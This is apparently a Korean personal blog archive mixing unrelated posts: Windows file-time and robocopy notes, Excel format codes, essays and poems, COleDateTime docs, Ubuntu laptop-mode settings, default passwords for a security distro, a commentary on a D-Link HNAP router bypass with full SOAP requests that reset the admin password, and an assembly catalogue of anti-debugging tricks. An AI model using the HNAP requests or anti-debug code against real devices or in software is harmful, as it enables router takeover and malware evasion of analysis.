
윈도우에서 파일의 만든날짜, 수정한 날짜, 액세스한 날짜를 원하는 날짜로 수정함.
DayOfWeek는 입력하지 않아도 Day에 따라서 자동으로 변동됨.
VS 2008 SP1에서 만듬.
근데 왜 만들었지?
GetFileTime, SetFileTime, FileTimeToSystemTime, SystemTimeToFileTime

@echo offbat 파일을 만들어서 위와 같이 기재하면 됨.
setlocal
set date2=%date:-=%
set time2=%time: =0%
set time3=%time2:~0,2%%time2:~3,2%
robocopy "C:\abc" D:\Backup\%date2%_%time3% /MIR > D:\Backup\Log\%date2%_%time3%_log.txt
endlocal
echo on
웹호스팅에 의존하다가 서버를 직접 관리하게 되었습니다.
앞으로 이것저것 손이 가는 일이 더 생겼네요.
친분이 있으신 분들에 한해서
개인 계정이 필요하신 분 계시다면 충분히 열어드릴 수 있습니다
도메인만 구매하십시오.(그것도 싫다면 rain9.com의 서브 도메인으로.....)
피해상황
일단 블로그의 카테고리가 전부 사라져버렸군요.............
카테고리 설정하기 귀찮..............
http://wiki.rain9.com
그리고 wiki가 생겼습니다. 블로그의 역할이 줄어들진 않을 것 같습니다.
아무래도 블로그를 통해 잡다한 자료가 쌓이고, 정리가 되면 wiki에 등재될테니까요.
| #,###;[빨강](#,###);0.00;@"낭자" | |
| 양수;음수;0;텍스트 세미콜론으로 동시에 4가지 표시 형식을 지정 가능 |
|
| 서식코드 | 의미 |
| # | 유효 자리수 표시, 유효하지 않은 경우 미표시 |
| 0 | 유효하지 않은 경우 0으로 표시 |
| ? | 소수점 앞이나 뒤에 있는 유효하지 않은 0 대신 공백을 추가하여 소수점을 맞춤 |
| , | 천단위 구분기호 |
| [] | 조건이나 색을 지정 |
| m | m:1~12,
mm:01~12 월 의미 mmm은 Jan에서 Dec, mmmm은 January~December로 월 표시 |
| d | d:1~31,
dd:01~31 mmm은 Sun~Sat, dddd는 Sunday~Saturday로 요일 표시 |
| yy | yy는 2자리로, yyyy는 4자리 연도 표시 |
D-Link 공유기에서 취약점이 발견되었다고 한다. 얼마 전에도 D-Link 제품에서 취약점이 발견된 적이 있었는데, 그 때와는 다른 제품이며, 취약점 역시 다르다.
취약점은 단순한 HNAP를 통해 공격자가 captcha 로그인을 완전하게 bypass할 수 있다고 한다. 흠.. (그런데 왜 captcha login이지?) 그리고 내부 네트워크의 공격자뿐 아니라 외부에서도 공격 가능하다는데 외부에서 공격이 가능하다는 의미인지 내부 공격을 통해 외부 접근이 가능하다는 건지 잘 모르겠지만 쭉 보기에는 내부 공격을 통해 외부에서 접근이 가능하다는 의미인 듯함.
D-Link 공유기는 2006년도부터 HNAP(Home Network Administration Protocol)를 지원하지만, 취약점은 아래의 최신 펌웨어에서만 확인이 되었다.
1) DI524 hardware version C1, firmware version 3.23
2) DIR628 hardware version B2, firmware versions 1.20NA and 1.22NA
3) DIR655 hardware version A1, firmware version 1.30EA
HNAP는 SOAP-based의 프로토콜이며 HNAP가 사용된 부분은 "Quick Router Setup Wizard"이고, 여기에서 사용하는 명령을 통해 취약점이 발생하였고, DLink Setup Wizard 메뉴는 HNAP를 사용하지 않고, SOAP request 또한 유효하니까 괜찮다고 함.
attacker는 헤더와 다른 내용의 body를 SOAP action으로 실행 가능하다고 한다.
아래처럼...(아래 설명참조)
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
ContentLength:453<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
이 코드에서는 SOAP Action의 헤더는 GetDeviceSettings을 요청이라고 보내면서 실제 내용엔 SetDeviceSettings이라고 해서 Admin 비밀번호를 testing123으로 바꾸는 코드를 담고 있으면서 그거에 대한 인증이나 인증정보를 담고 있지도 않고, 요청도 하지 않는다고 한다. (모델 DIR628, DIR655에 국한됨)
이 취약점은 유효한 reqeust인지 검증을 거치지 않아서 발생하는 문제이다.
그런데 DI524 모델은 같은 SOAP에 대한 취약점이지만, 내용이 조금 다르다.
DI524 모델은 모든 SOAP action에 대해서 인증을 필요로 하지만, admin과 user 계정 모두 이러한 action을 실행시킬 수 있다고 한다.
무슨 말인 즉, 관리자이거나 일반 유저 계정이거나 상관 없이 로그인할 수 있는 계정이라면 위의 처음 취약점처럼 관리자의 비밀번호를 바꿀 수 있는 SetDeivceSettings을 실행할 수 있다는 것이다.(여기서 문제가 되는 것은 user 계정 자체가 default로 blank password라고 한다.)
POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
ContentLength:
453
<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
이 코드를 보고 있자니 이번엔 Basic 인증을 거치고 쳐서 정상적으로 SetDeviceSettings Action을 보내 관리자의 비밀번호를 testing123으로 하고 있다. 정상적인 것처럼 보이지만, 문제는 이 Action을 실행시키는 계정이 관리자 권한이 없으며, 비밀번호가 없는 user 계정이라는 것(누구나 접근 가능하다는 점).
HNAP0wn 이라는 tool을 이용해서 간단하게 공격이 가능하다. 첨부되어 있는 pdf 파일을 읽어보면 상세히 설명이 되어 있다.
난 iptime 공유기를 사용중이라 직접 테스트는 못해봤지만, 간단한 구조이니까 금새 뚫리겠지.... 아마도 이 공격으로 인해서 금전적으로 크게 손해보는 기업이 나오진 않겠지만, 개인 유저단에서 인터넷을 이용하기 위해 종종 악용되어 사용하는 경우가 많이 발생할 수 있겠다.
다행인건 윈도우용 POC tool이 아니므로 그나마 이 tool을 이용하는 사람들의 범위가 더 좁아질 것이라는 생각이 든다. 누군가 윈도우용으로 만들어서 배포하지 않는다면 말이지...........
HNAP0wn라는 툴을 통해 간단하게 POC가 가능한데 난 이 tool이 POC tool인지 acttack tool인지 모르겠다....
첨부되어 있는 SOAP action 파일 목록을 보니 POC만을 위해 분석해놓은건 아닌거 같다는 생각이............
AddPortMapping.xml
DeletePortMapping.xml
GetConnectedDevices.xml
GetDeviceSettings.xml
GetMACFilters2.xml
GetNetworkStats.xml
GetPortMappings.xml
GetRouterLanSettings.xml
GetWLanRadioSettings.xml
GetWLanRadios.xml
GetWLanSecurity.xml
GetWLanSettings24.xml
GetWanSettings.xml
GetWanStatus.xml
IsDeviceReady.xml
Reboot.xml
RenewWanConnection.xml
SetDeviceSettings.xml
SetLanSettings.xml
SetMACFilters2.xml
SetRouterLanSettings.xml
SetWLanSecurity.xml
SetWLanSettings.xml
SetWanSettings.xml

1.에로스(Eros) : 에로스 타입은 완전히 육체적이고 성적인 매력에 매료된 사랑 관계다. 그런 사랑은 '깜짝 사랑, 영 이별 '이라는 우리네 속담처럼 빨리 불붙고 곧 없어지는 사랑이라는 것이다. 에로 영화 에로 배우 다 여기서나왔다.
2.루두스(Ludus) : 루두스 타입은 장난스러운 우연한 사랑을 말한다. 서로 크게 상대에게 관심을 보이지는 않으나 서로 만나는 게 재미있고 즐거우니까 좋아하는 관계다. 상대가 다른 만나는 사람이 많다는 것도 알고 있지만 서로의 의존을 피하기 위해 서로 용납하고 관계를 유지한다. 특별한 온정의 상호 교류 없으나 심심하지 않아서 좋다.
3.스토르지(Storge) : 스토르지 타입은 열정이나 탐닉은 많지 않으나 자신도 모르게 빠져드는 정이나 따스함을 느낄때다. 이 타입은 우정에서 사랑으로 변하는 경우에 흔히 볼 수 있는 상태다. 많은 경우 사랑 인지 단순한 우정인지 자신도 구별 못할 때가 많다. 애정의 위기 같은 것도 없고 비교적 지속 력이 강한 상태이나 극적인 정열이 없는 것이 흠이다.
4.마니아(Mania) : 마니아 상태는 격정적인 사랑을 말한다. 광기와 분이 계속되는 상태다. 사랑하는 사람은 항상 상대가 보고 싶어 미칠 지경이다. 환희와 절망이 성난 파도처럼 교차되는 폭풍 노도 시대, 그러나 종말은 갑작스런 파탄을 가져올 확률이 많다.
5. 프라그마(Pragma) : 프라그마는 보다 현실적인 사랑을 의미한다.가슴보다 머리가 앞서는 사랑이다. 상대가 여러모로 자기에게 맞으니까 사랑한다는 타입이다. 성격도 맞고 조건도 그만하면 됐으니 한번 사귀어 보자고 하다가 시작된 사랑이다. 그러다 서로 더욱 마음이 맞으면 진한 사랑으로 발전하기도 한다.
6. 아가페(Agape) : 아가페는 지극히 기독교적인 사랑이다. 이해와 양보와 희생을 통해 벼루어 가는 사랑을 말한다. 플라토닉 러브의 기본 패턴이다. 엄격한 의미에서 실제로 존재하기 힘든 사랑이어서 돈 환의 경우처럼 우리의 생각이나 이상 속에서만 살아 있는 실체다.
7.플라토닉(Platonic)
플라토닉 사랑은 쉽게 이해하면 정신적인 사랑 즉, 어떠한 스킨쉽도 없고, 그저 정신적으로 좋아하고 사랑하는 것임.
흔히들 말하는 짝사랑, 이루어질 수 없는 아름다운 사랑을 쉽게 플라토닉 사랑이라고 한다.
나의 20대는 어떤 일을 해도 잘되지 않았다
무엇이든 해보려고 했지만 아무것도 할 수 없었다
그것이 나의 20대이다
아무 쓸모없이, 오로지 앞만 보고 달리기만 했다
그러나 그것은 20대가 아니면 할 수 없는 헛됨이었다
20대에 하지 않으면 안되는 것은
20대가 아니면 할 수 없는 것들이다
20대에 아무 쓸모없이 달린 사람에게만
눈부시게 멋진 인생이 찾아오는 법이다
20대야말로 가장 한심하고
가장 찬란한 인생의 소중한 순간이다
<나카타니 아키히로>
------------------------------------------------------------------
인질범과 사랑에 빠지는 현상, Stockholm syndrome이란?
1973년 8월, 스웨덴의 스톡홀름에서 은행 강도 사건이 발생했다. 은행 강도들은 여러명을 인질(hostage)로 잡고 6일 동안 경찰과 대치한 사건이었다. 6일이 지나고 경찰의 작전으로 강도들은 잡혔고 인질들은 풀려나게 되었다. 그런데 인질로 붙잡혀 있던 한 여성이 그 은행 강도 중 1명과 사랑에 빠지게 된다. 이 이상한 사건을 계기로 납치나 인질로 잡혔던 사람들이 인질범(captor)과 특수한 관계를 형성하면서, 인질범의 편을 들어주는 현상을 스톡홀름 신드롬(Stockholm syndrome)이라고 부르게 되었다.
대표적인 스톡홀름 신드롬 사례로는, 1970년대 미국 캘리포니아주를 배경으로 좌익 활동을 하던 심비어니즈 해방군(Symbionese Liberation Army)이 주도한 항공기 납치 사건을 들 수 있다. 항공기에 인질로 잡힌 사람 중에는 패티 허스트(Patty Hearst)라는 여인이 있었는데, 그녀는 납치 사건을 계기로 인질범들과 유대 관계가 형성되어 이 조직에 가담하게 된다. 그녀는 조직을 위해 은행을 털기도 했는데, 그녀는 다른 조직원들과 함께 체포된 후 몇달 동안 스톡홀름 신드롬에서 헤어나지 못했다고 한다.
최근 미국에서도 비슷한 사건이 있었는데, 10년 전 탈주범에 의해 납치되었던 교도소장의 아내가 탈주범과 함께 닭을 키우며 살고 있는 것이 발견된 것이다. 납치범은 결국 경찰에 체포되었다. 그런데 인질이었던 그녀가 주변에 도움을 청해 도망칠 수 있었던 정황이 충분했지만 그렇게 오랜 시간 동안 납치범과 함께 생활했던 것에 대한 해석은 스톡홀름 신드롬 뿐이라고 한다.
스톡홀름 신드롬과는 반대로, 인질범이 인질에게 동화되는 현상을 리마 신드롬(Lima syndrome)이라고 한다. 1997년 페루 반정부군이 억류 중인 인질들에게 역동화된 것을 계기로 만들어진 조어이다.
------------------------------------------------------------------
<말콤 그래드웰>이 지은 <티핑 포인트-Tipping Point>라는 책이 있습니다. 망해가던 <허시파피>
신발회사의 신발을 뉴욕의 몇몇 히피족들이 신고 다니기 시작하더니 어느 날 갑자기 미국의 백화점을 휩쓸게 되었고, 처음 인기도 별로 없었던 <조앤 롤링>의 <해리포터>가 어느 순간 갑자기 세계적 베스트셀러가 되었는데, 이와 같이 처음에는 미미하게 진행되다가 어느 순간 ‘탁’하고 터지는 극점이 있는데, 이 순간을 가리켜서 티핑 포인트라고 합니다.
일본의 <후나이 유키오>가 지은 <100마리째 원숭이>라는 책이 있습니다. 내용인즉 1950년 일본의 미야자키 현 고지마라는 무인도에 원숭이들이 살고 있었는데, 주로 고구마를 먹고 살았습니다. 원숭이들은 고구마를 뽑아 흙을 손으로 털어내고 먹었는데, 어느 날 한살 반짜리 젊은 원숭이 한마리가 강물에 고구마를 씻어먹기 시작했다는 것입니다. 그러자 다른 원숭이들이 하나 둘 흉내 내기 시작했고, 이 고구마를 씻어먹는 행위가 새로운 행동양식으로 정착되었습니다. 그런데 놀라운 일은 고지마 섬 이외 지역의 원숭이들 사이에서도 똑같은 행위가 동시다발적으로 나타났다는 것입니다. 서로 접촉도, 의사소통도 할 수 없는 상황에서 마치 신호를 보내기라도 한 것처럼 정보가 흘러가더라는 것입니다.
연구결과, 그 종족에 도움이 되는 어떤 발전이 일어나면, 그 것이 그 무리 전체에 퍼지는데, 그 퍼진 수가 100마리가 되면, 거리나 공간에 관계없이 전 종족에게 퍼지더라는 것입니다. 이 현상을 가리켜 <100마리째 원숭이 현상>이라고 합니다.
그리고 많은 동물학자와 심리학자가 여러 가지 실험을 한 결과, 이 학설은 원숭이 뿐 아니라 인간을 포함한 포유류나 조류, 곤충류 등에서도 볼 수 있는 현상이라는 것입니다.
세상의 가치관이나 구조는 ‘깨달은 10%의 사람’에 의해 바뀐다고 합니다. 그래서 먼저 10%의 사람이 깨닫게 되면 사회가 바뀌고, 10%의 나라가 바뀌면 세계가 바뀌어지게 되는데. 이것은 시공을 초월한 공명현상이 작용하기 때문이라는 것입니다. 그러나 그 10%로도 처음에는 한 사람으로 시작이 된다는 점입니다. 처음 한 사람이 시작할 때는 그 효과가 아주 미미할 수 있을 것입니다. 한 사람씩 한 사람씩 늘어간다 해도 10%가 되기까지는 답답할 수도 있을 것입니다. 그러나 10%에 이르기만 하면 이것이 티핑 포인트가 될 수 있다는 것입니다. 마치 처음에는 대수롭지 않게 빙빙 돌던 바람이 어느 순간에 거대한 회리바람으로 변하여 집을 뽑아 올리는 힘을 가지게 되는 것과 같이 말입니다.
------------------------------------------------------------------
사고의 다각화
현대인들의 사고는 대중매체를 통해 단일화 되어간다. 나 역시 그 틀에서 벗어나기는 매우 힘들다. 가끔 틀에서 벗어나기 위해 많은 사고를 하기 위한 노력하지만, 그 노력이 쉽지만은 않다. 그러나, 노력에 의해 사고가 다각화 된다면, 의도적인 사고의 왜곡을 막을 수 있게 될 것이고, 그렇게 된다면 스스로 더 만족하고 최선의 선택 또는 결정을 을 내릴 수 있을 것이다. 사고를 다각화 할 수 있도록 우리는 일상적인 삶에서 벗어난 행동이나 사고를 직접 해볼만한 가치가 있다.
------------------------------------------------------------------
스톡데일 패러독스(Stockdale Paradox)
어려움이 있어도 결국엔 우리가 성공할 수 있고 또 성공하리라는 흔들리지 않는 믿음을 유지해야 하며, 그와 동시에 눈앞의 현실 속에 있는 가장 냉혹한 사실들을 직시할 수 있는 규율을 가져야만 한다.
------------------------------------------------------------------
comebacktome
현실에 부딪혀 넘어져버린 당신께,
과거로의 도피를 허락합니다.
쉬임없이 달려가던 당신의 뒤에서 하염없이 정체된 나에게 잠시 기대는것을 허락합니다.
언제나 나는 멈춰있었습니다.
당신을 바라보든, 다른 누군가를 바라보든.
변하는건 시선뿐이고. 위치는 변함이 없었습니다.
그러므로 당신이 다시 들렸다 떠나버리는건 쉬운일입니다.
http://blog.naver.com/mastereraser
------------------------------------------------------------------
길 위에서의 생각 / 류시화
집이 없는 자는 집을 그리워하고
집이 있는 자는 먼 들녘의 바람을 그리워한다
나 집을 떠나 길 위에 서서 생각하니
삶에서 잃은 것도 없고 얻은 것도 없다
모든 것들이 빈 들녘의 바람처럼
세월을 몰고 다만 멀어져 갔다
어떤 자는 울면서 웃을 날을 그리워하고
웃는 자는 또 웃음 끝에 다가올 울음을 두려워한다
나 길가에 피어난 풀에게 묻는다
나는 무엇을 위해서 살았으며
또 무엇을 위해 살지 않았는가를
살아있는 자는 죽을 것을 염려하고
죽어가는 자는 더 살지 못했음을 아쉬워한다
자유가 없는 자는 자유를 그리워하고
어떤 나그네는 자유에 지쳐 길에서 쓰러진다.
그리고 두 COleDateTime 객체간의 차이를 구할 때는
----------------------------------------------------------------------------------------
COleDateTime ATime(2007, 4, 26, 17, 20, 30);
COleDateTime BTime(2007, 4, 26, 18, 20, 50);
COleDateTimeSpan C = BTime - ATime;
C.GetTotalDays() - 차이나는 총 날짜
C.GetTotalHours() - 차이나는 총 시간
C.GetTotalMinutes() - 차이나는 총 분
C.GetTotalSeconds() - 차이나는 총 초
----------------------------------------------------------------------------------------
객채를 생성할 때에는 아래와 같이 초기화하면서 사용 가능함
가장 일반적으로는 COleDateTime( nYear, nMonth, nDay, nHour, nMin, nSec ) 이게 많이 쓰이겠지..
----------------------------------------------------------------------------------------
COleDateTime( ) Constructs a COleDateTime object initialized to 0 (midnight, 30 December 1899).
COleDateTime( dateSrc ) Constructs a COleDateTime object from an existing COleDateTime object.
COleDateTime( varSrc ) Constructs a COleDateTime object. Attempts to convert a VARIANT structure or COleVariant object to a date/time (VT_DATE) value. If this conversion is successful, the converted value is copied into the new COleDateTime object. If it is not, the value of the COleDateTime object is set to 0 (midnight, 30 December 1899) and its status to invalid.
COleDateTime( dtSrc ) Constructs a COleDateTime object from a DATE value.
COleDateTime( timeSrc ) Constructs a COleDateTime object from a time_t value.
COleDateTime( systimeSrc ) Constructs a COleDateTime object from a SYSTEMTIME value.
COleDateTime( filetimeSrc ) Constructs a COleDateTime object from a FILETIME value. . Note that FILETIME uses Universal Coordinated Time (UTC), so if you pass a local time in the structure, your results will be incorrect. See File Times in the Platform SDK for more information.
COleDateTime( nYear, nMonth, nDay, nHour, nMin, nSec ) Constructs a COleDateTime object from the specified numerical values.
COleDateTime( wDosDate, wDosTime ) Constructs a COleDateTime object from the specified MS-DOS date and time values.
----------------------------------------------------------------------------------------

Login = assistant (always the same)
Sudo passwd = weaknet
Su password = weaknet2
Services Passwd's = weaknet (e.g. MySQL)
sudo gedit /etc/default/acpi-support
ENABLE_LAPTOP_MODE=true
sudo gedit /etc/laptop-mode/laptop-mode.conf
ENABLE_LAPTOP_MODE_ON_AC
ENABLE_LAPTOP_MODE_WHEN_LID_CLOSED
DISABLE_LAPTOP_MODE_ON_CRITICAL_BATTERY_LEVEL
# start/stop(부팅종료를 의미하는 것으로 예상됨) 시 많은 정보를 보고 싶을 때에는 1로 설정.
VERBOSE_OUTPUT=0
# 배터리 모드일 때 laptop_mode 활성화 여부
ENABLE_LAPTOP_MODE_ON_BATTERY=1
# AC 전원 모드일 때 laptop_mode 활성화 여부
ENABLE_LAPTOP_MODE_ON_AC=0
# 노트북 뚜껑이 닫혀 있고 심지어 AC 전원을 사용하고 있을 때에도 노트북 모드 사용 여부
ENABLE_LAPTOP_MODE_WHEN_LID_CLOSED=0
# 데이터 손실 위험 경고를 나타낼 배터리 최소 양(% 단위)
MINIMUM_BATTERY_CHARGE_PERCENT=3
# 위와 이어져서, 배터리 경고 최소량에 도달했을 때 데이터 손실 위험 경고 활성화 여부
DISABLE_LAPTOP_MODE_ON_CRITICAL_BATTERY_LEVEL=1
# 어떠한 하드 드라이브에 대해 laptop 모드를 적용할 것인지 설정
# HD="/dev/hda /dev/hdb" 와 같은 형태로 적용 가능. 아래는 default로 다 적용 대상이 됨
HD="/dev/[hs]d[abcdefgh]"
# 마운트된 파티션에 대한 laptop 모드 적용 여부
PARTITIONS="auto /dev/mapper/*"
f
# hdparm를 사용할 것인지(set 1) sdparm를 사용할 것인지 여부(set 0)
# 하드디스크가 E-IDE이거나 SATA 1세대라서 /dev/hd 이면 set 1,
# /dev/sd 라면 set 0으로 sdparm을 사용한다.
# 속도 측정과 하드 속도 향상과 관련이 있는 유틸.
# 본인은 sd로 시작하는 sata하드디스크 이므로 0으로 설정함. default는 1
ASSUME_SCSI_IS_SATA=0
# readahead 툴을 사용 여부
# 특정한 파일을 필요하기 전에 미리 메모리에 로드하여 속도 향샹을 하기 위한 툴
CONTROL_READAHEAD=1
# KB 단위로 mp3/ogg 재생 시 3메가 바이트까지 미리 로드하여 사용
# 너무 크게 잡아주지는 말 것
LM_READAHEAD=3072
NOLM_READAHEAD=128
# noatime 옵션을 추가하여 laptop 모드를 사용 여부
# noatime은 no access time. mount된 드라이브가 이 옵션이 적용된 경우
# 엑세스 타임을 기록하지 않으므로 약간의 속도 향상을 할 수 있으나
# 개인적으로 잘 모를 경우 권장하지는 않음
CONTROL_NOATIME=0
# 하드 드라이브의 쓰기 캐시 설정 여부
CONTROL_HD_WRITECACHE=0
# 쓰기 캐쉬 설정 상세 설정
NOLM_AC_HD_WRITECACHE=1
NOLM_BATT_HD_WRITECACHE=0
LM_HD_WRITECACHE=0
우분투 9.04를 설치하고 나서 대체적으로 만족스러웠지만, 창 전환시에도 그래픽이 알게 모르게 끊기는 현상이 있었다. 그래서 드라이버를 설치하여 보았더니 체감상으로는 창전환시에 상당히 부드러워졌다.sudo gedit /etc/apt/sources.list로 파일을 gedit로 연 후 가장 하단 부분에 아래 내용을 삽입하고 저장한다.deb http://ppa.launchpad.net/ubuntu-x-swat/x-updates/ubuntu jaunty main
deb-src http://ppa.launchpad.net/ubuntu-x-swat/x-updates/ubuntu jaunty main
터미널 창에서 키를 추가하고, 패키지 리스트를 업데이트 한 다음,xserver-xorg-video-intel를 설치하고 재부팅하면 끝이다.sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com AF1CDFA9
sudo apt-get update && sudo apt-get install xserver-xorg-video-intel
아래 명령은 장치중 VGA 정보를 확인하는 것이다.lspci -nn|grep VGA
그리고 나서 떠돌이님의 uxa 기능을 켜는 글을 통해 uxa를 켜주면 된다.gksu gedit /etc/X11/xorg.conf
나오는 텍스트 창에서, 아래 부분을 찾아서 옵션 두줄을 추가.
Section "Device"
Identifier "Configured Video Device"
Option "AccelMethod" "uxa"
Option "Tiling" "false"
EndSection
목차
Exploiting memory discrepancies
1 kernel32!IsDebuggerPresent
2 PEB!IsDebugged
3 PEB!NtGlobalFlags
4 Heap flags
5 Vista anti-debug (no name)
Exploiting system discrepancies
1 NtQueryInformationProcess
2 kernel32!CheckRemoteDebuggerPresent
3 UnhandledExceptionFilter
4 NtSetInformationThread
5 kernel32!CloseHandle and NtClose
6 Self-debugging
7 Kernel-mode timers
8 User-mode timers
9 kernel32!OutputDebugStringA
10 Ctrl-C
CPU anti-debug
1 Rogue Int3
2 "Ice" Breakpoint
3 Interrupt 2Dh
4 Timestamp counters
5 Popf and the trap flag
6 Stack Segment register
7 Debug registers manipulation
8 Context modification
Uncategorized anti-debug
1 TLS-callback
2 CC scanning
3 EntryPoint RVA set to 0
Data reference
CONTEXT structure for IA32 processors
Process Environment Block structure (from The Wine Project)
Thread Environment Block structure (from The Wine Project)
NtGlobalFlags
Example:위와 같은 형태로 사용이 되는 가장 기본적인 예제입니다. 이미 다들 알고 있을 것으로 예상이 됩니다. IsDebuggerPresent 함수는 디버그 중이면 1을 리턴. 그렇지 않다면 0을 리턴. IsDebuggerPresent 함수는 PEB!BeingDebugged에서 byte 크기인 flag의 값을 read한다. (PEB 구조체 참조. 영문서에도 있고, 하단을 참조하여도 됨)
call IsDebuggerPresent
test eax, eax
jne @DebuggerDetected
...
Example:딱 보면 kernel32!IsDebuggerPresent와 같은 것을 알 수 있는데 함수 형태로 호출하는 것이 하는게 아니라 직접 PEB에 접근하는 것을 차이점으로 둘 수 있다.
mov eax, fs:[30h] // PEB 구조체 위치
mov eax, byte [eax+2]
test eax, eax
jne @DebuggerDetected
...
Example:NtGlobalFlag는 PEB 구조체 안에 존재하는 한 항목이다.(PEB 구조체 참조) 디버깅 중에는 0x70, 아니라면 0x0의 값이 세팅되어진다. 디버깅과 관련있는 세팅에 사용되는 상수는 아래의 것이 존재한다.
mov eax, fs:[30h] ; PEB 구조체 위치
mov eax, [eax+68h] ; PEB+068 uint32 NtGlobalFlag 위치(dword)
and eax, 0x70
test eax, eax
jne @DebuggerDetected
...
Example:위의 NtGlobalFlag의 플래그값이 활성화되면서 Heap Flags도 활성화 되어 진다.
mov eax, fs:[30h] ; PEB 구조체 위치
mov eax, [eax+18h] ; process heap
mov eax, [eax+10h] ; heap flags
test eax, eax
jne @DebuggerDetected
...
Example:이 방법은 아직 명명되지 않았으나, 가칭 vista anti-debug라고 불린다.(Vista 32bit, SP0, English ver에서 테스트되어짐)
call GetVersion
cmp al, 6
jne @NotVista
push offset _seh
push dword fs:[0]
mov fs:[0], esp
mov eax, fs:[18h] ; teb
add eax, 0BFCh
mov ebx, [eax] ; pointer to a unicode string
test ebx, ebx ; (ntdll.dll, gdi32.dll,...)
je @DebuggerNotFound
sub ebx, eax ; the unicode string follows the
sub ebx, 4 ; pointer
jne @DebuggerNotFound
;debugger detected if it reaches this point
;...
사용되는 함수 타입 설명NtQueryInformationProcess는 ZwQueryInformationProcess를 감싸고 있는 함수이다.
NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength
);
Example:위에서 다 설명하였으니 어셈 코드를 직접 보세요.
push 0
push 4
push offset isdebugged
push 7 ;ProcessDebugPort
push -1
call NtQueryInformationProcess
test eax, eax
jne @ExitError
Example:위에서 잠깐 말이 나온 CheckRemoteDebuggerPresent 함수에 대한 것이다.
push offset isdebugged
push -1
call CheckRemoteDebuggerPresent
test eax, eax
jne @DebuggerDetected
...
;set the exception filter
push .exception_filter
call [SetUnhandledExceptionFilter]
mov [.original_filter],eax
;throw an exception
xor eax,eax
mov dword [eax],0
;restore exception filter
push dword [.original_filter]
call [SetUnhandledExceptionFilter]
.exception_filter:
;EAX = ExceptionInfo.ContextRecord
mov eax,[esp+4]
mov eax,[eax+4]
;set return EIP upon return
add dword [eax+0xb8],6
;return EXCEPTION_CONTINUE_EXECUTION
mov eax,0xffffffff ; -1을 의미하며 디버깅 중인 상태
retn
Example:추가 설명 :
push @not_debugged
call SetUnhandledExceptionFilter
xor eax, eax
mov eax, dword [eax] ; trigger exception
;program terminated if debugged
;...
@not_debugged:
;process the exception
;continue the execution
;...
NTSYSAPI NTSTATUS NTAPI NtSetInformationThread(ThreadInformationClass에 0x11((ThreadHideFromDebugger 상수)이 설정된 경우 스레드는 디버거로부터 분리될 것이다.
IN HANDLE ThreadHandle,
IN THREAD_INFORMATION_CLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
);
Example:
push 0
push 0
push 11h ;ThreadHideFromDebugger
push -2
call NtSetInformationThread
;thread detached if debugged
;...
Example:
push offset @not_debugged
push dword fs:[0]
mov fs:[0], esp
push 1234h ; invalid handle(유효하지 않은 핸들)
call CloseHandle
; if fall here, process is debugged
;...
@not_debugged:
;...
Example:
xor eax, eax
push offset szHello
call OutputDebugStringA
cmp eax, 1
jne @DebuggerDetected
...
szHello db "%s%s", 0
Example:
push offset exhandler
push 1
call RtlAddVectoredExceptionHandler
push 1
push sighandler
call SetConsoleCtrlHandler
push 0
push CTRL_C_EVENT
call GenerateConsoleCtrlEvent
push 10000
call Sleep
push 0
call ExitProcess
exhandler:
;check if EXCEPTION_CTL_C, if it is,
;debugger detected, should exit process
;...
sighandler:
;continue
;...
Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 0CCh
;if fall here, debugged
;...
@handler:
;continue execution
;...
Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 0F1h
;if fall here, traced
;...
@handler:
;continue execution
;...
Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 02Dh
mov eax, 1 ;anti-tracing
;...
@handler:
;continue execution
;...
Example:
push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
rdtsc
push eax
xor eax, eax
div eax ;trigger exception
rdtsc
sub eax, [esp] ;ticks delta
add esp, 4
pop fs:[0]
add esp, 4
cmp eax, 10000h ;threshold
jb @not_debugged ; Jb - 왼쪽 인자의 값이 오른쪽 인자의 값보다 작으면 점프(부호없는)
@debugged:
...
@not_debugged:
...
handler:
mov ecx, [esp+0Ch]
add dword ptr [ecx+0B8h], 2 ;skip div
xor eax, eax
ret
pushf (PUSHFD) ; 모든 Flags Register의 플래그 값을 push
mov dword [esp], 0x100 ; TF를 설정함(그 외 다른 플래그는 0으로)
popf (POPFD) ; 스택에 저장된 Flags Register 값을 pop 한다
push ss
pop ss
pushf
nop
push ss
; junk
pop ss
pushf
; junk
pop eax
and eax, 0x100
or eax, eax ; eax에는 0x100
jnz @debugged ; 조건에 부합하여 점프하게 됨
; carry on normal execution
Example:
push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
xor eax, eax
div eax ;generate exception
pop fs:[0]
add esp, 4
;continue execution
;...
handler:
mov ecx, [esp+0Ch] ;skip div
add dword ptr [ecx+0B8h], 2 ;skip div
mov dword ptr [ecx+04h], 0 ;clean dr0
mov dword ptr [ecx+08h], 0 ;clean dr1
mov dword ptr [ecx+0Ch], 0 ;clean dr2
